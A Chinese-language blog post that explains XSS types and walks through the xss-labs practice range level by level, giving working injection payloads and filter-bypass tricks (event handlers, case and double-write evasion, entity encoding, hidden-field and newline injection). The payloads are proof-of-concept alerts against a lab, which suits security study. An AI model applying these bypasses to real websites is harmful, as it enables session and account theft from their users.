第十篇 XSS漏洞学习和使用技巧
XSS漏洞
XSS攻击全称为跨站脚本攻击,允许恶意用户将将代码植入到web网站里,供其他用户访问,当其他用户访问到恶意代码的网友就会产生xss攻击
危害
- 盗取用户账号,比如普通用户账号、管理员账号、银行用户账号等
- 控制企业数据,包括读取、篡改、添加、删除企业数据,盗取企业核心数据
- 非法转账
- 强制发送电子邮件
- 网站挂马
- 控制受害者机器向其他网站发起攻击
漏洞类型
- 反射型
非持久化,需要用户去点击链接才会触发xss代码
正常访问页面:http://www.xss-labs.com/level1.php?name=admin
进行xss注入:http://www.xss-labs.com/level1.php?name=<script>alert('xss')</script>
- 存储型
持久化,代码是存储在服务器中,比如个人信息或发表文章等地方,加入代码,如果过滤不严,那么这些代码将存储到服务器中,用户只要访问该页面就会触发代码执行
- Dom型
是一个平台和语言都中立的接口,可以是程序和脚本能够动态访问和更新文档的内容、结构以及样式,是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞
常用注入关键词
script、on、src、data、href、"
靶场练习
靶场地址:https://github.com/do0dl3/xss-labs
leve2: "> 括号闭合
输入:http://www.xss-labs.com/level2.php?keyword= 发现页面正常显示
增加 "> 作为闭合
level3:input-onclick,onfocus事件触发
正常情况:
构建onfocus事件触发
http://www.xss-labs.com/level3.php?keyword=' onfocus=javascript:alert('xss') >
在使用onfocus的时候,因为input需要重新获取焦点,才能触发弹窗
同时,我们查看源码,也发现<,>字符被htmlspecialchars函数进行替换了
level4:事件触发弹窗
测试注入,正常显示
仔细观察发现输入框对<,>进行了删除,可以尝试用事件触发的方式
level5: a标签注入
尝试注入
从输入框中发现script变成了scr_ipt,尝试使用事件注入
发现也对onfocus进行了转换,通过构建a标签来执行:http://www.xss-labs.com/level5.php?keyword="> <a href=javascript:alert('xss') > xss,需要对链接进行点击才能触发弹窗
level6: 大小写绕过
经过测试,发现都对script和事件触发都做了和level5一样的处理,尝试使用a标签的方式,发现也做了处理
尝试进行大小写绕过:http://www.xss-labs.com/level6.php?keyword="> <a Href=javascript:alert('xss') > xss
level7: 双写绕过
发现都对script和href进行了替换,同时尝试大小写绕过也一样被替换
构造双写:http://www.xss-labs.com/level7.php?keyword=" oonnfocus=javasscriptcript:alert('xss') >
level8: html编码绕过
常见编码
1. URL编码:将不安全的字符使用URL方式传输; 比如%20(空格)
2. html编码:防止特殊字符比如<>对页面造成影响,一般以&开头,分号结果.
分为十进制编码和十六进制编码
3. javascript编码: 可以识别8进制/16进制和Unicode编码
分为:三个八进制数字、两个十六进制数字、四个十六进制数字,如果不够个数,前面补0
4. base64编码: 一般需要配合data协议使用
尝试大小写,双写,发现都会被替换成下划线
尝试对html进行实体编码,找到一个比较好的工具:https://www.qqxiuzi.cn/bianma/zifushiti.php
分析页面,直接将input的输入填充到href里面,所以我们只需要对javascript进行实体编码就可以了:javascript:alert('xss')
level9: http绕过
测试发现提示链接不合法,应该是对链接做了校验
在添加http之后,发现链接添加成功,同时也对常用注入关键进行了替换
同时也发现,校验判断的是http:// 是否存在,所以可以采用level8的方式,进行编码,并将http:// 放到后面, 输入
javascript:alert('xss') // http://
level10: 利用隐藏标签
尝试攻击:http://www.xss-labs.com/level10.php?keyword=<script>alert('xss')</script>
发现页面正常返回,但是没有出现弹框,分析控制台查看source,发现对<,>做了替换
发现有三个隐藏的input标签,尝试对其进行赋值:http://www.xss-labs.com/level10.php?keyword=keyword&t_link=t_link&t_history=t_history&t_sort=t_sort, 发现t_sort赋值成功了
将t_sort值改为:" type="text" onmouseover="alert('xss'),当鼠标移动到name='t_sort'的时候,就会发生弹窗
level11: 还原双引号
输入:http://www.xss-labs.com/level11.php?keyword=<script>alert('xss')</script>,
同样发现<,>也是被替换了,尝试和level10一样发起攻击,发现有四个隐藏标签:http://www.xss-labs.com/level11.php?keyword=keyword&t_link=t_link&t_history=t_history&t_sort=t_sort&t_ref=t_ref, 同样也只是有t_sort进行了赋值
在修改:t_sort=" type="text" onmouseover="alert('xss') 发现页面并没有发生任何变化,查看源码发现 " 被替换了
直接在通过控制台对将替换过的双引号进行还原,发现成功攻击了
level12: ua注入
和上面两关一样,也是<,>被替换
也是有4个隐藏标签,但是只有t_sort赋值成功,同样对t_sort进行值修改:" type="text" onmouseover="alert('xss') ,发现引号也是被替换了
采用level11的方式,发现也是可以攻击的
发现t_ua这个标签,尝试修改这个值,看是否存在攻击点:" type="text" onmouseover="alert('xss')"
发现也是可以实现攻击的
level13: cookie攻击
进行对cookie攻击:
level14: iframe攻击
发现进入level14的页面,发现页面加载出来了一个新的页面,应该是iframe导致的
ifame攻击主要用于嵌入第三方钓鱼网站
level15: src变量攻击
level15的页面十分干净,发现从level14跳过来自带了src变量:http://www.xss-labs.com/level15.php?src=1.gif
可以利用level1.php的直接攻击:src="level1.php?name=<img src=x onerror=alert('xss')>"
level16: 回车符%0a攻击
输入:http://www.xss-labs.com/level16.php?keyword=<script>alert('xss')</script>
发现对script,/进行替换,使用换行符:%0a进攻击:<a%0atype="text"%0aonclick="alert('xss')"
level17: 利用swf文件参数组合攻击
火狐不支持swf,chrome显示不支持该插件,但是页面至少还是可见的
电脑只有chrome,所以直接用这个来测试
从level16跳转过来携带两个参数:arg01=a&arg02=b,所以我们的攻击点主要集中在两个参数上
分析页面发现两个变量的值赋值到标签embed的src中:src="xsf01.swf?a=b",这样就可以通过对第二个参数进行闭合攻击:http://www.xss-labs.com/level17.php?arg01=a&arg02= onmouseover=alert('xss')
level18: 利用swf文件参数组合攻击
从level17进来的页面:http://www.xss-labs.com/level18.php?arg01=a&arg02=b, 所以攻击也主要集中在这两个变量,发现页面结构和level17,尝试使用level17的攻击方式:http://www.xss-labs.com/level18.php?arg01=a&arg02= onmouseover=alert('xss')
发现成功了
带着疑问,level17和level18的源码区别
level17
<!DOCTYPE html>
<!--STATUS OK-->
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function() {
confirm("完成的不错!");
}
</script>
<title>
欢迎来到level17
</title>
</head>
<body>
<h1 align=center>
欢迎来到level17
</h1>
<?php ini_set( "display_errors", 0); echo "<embed src=xsf01.swf?".htmlspecialchars($_GET[
"arg01"]). "=".htmlspecialchars($_GET[ "arg02"]). " width=100% heigth=100%>";
?>
<h2 align=center>
成功后,
<a href=level18.php?arg01=a&arg02=b>
点我进入下一关
</a>
</h2>
</body>
</html>
level18
<!DOCTYPE html>
<!--STATUS OK-->
<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function() {
confirm("完成的不错!");
window.location.href = "level19.php?arg01=a&arg02=b";
}
</script>
<title>
欢迎来到level18
</title>
</head>
<body>
<h1 align=center>
欢迎来到level18
</h1>
<?php ini_set( "display_errors", 0); echo "<embed src=xsf02.swf?".htmlspecialchars($_GET[
"arg01"]). "=".htmlspecialchars($_GET[ "arg02"]). " width=100% heigth=100%>";
?>
</body>
</html>
发现源码也没有什么区别
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 分享4款.NET开源、免费、实用的商城系统
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· 上周热点回顾(2.24-3.2)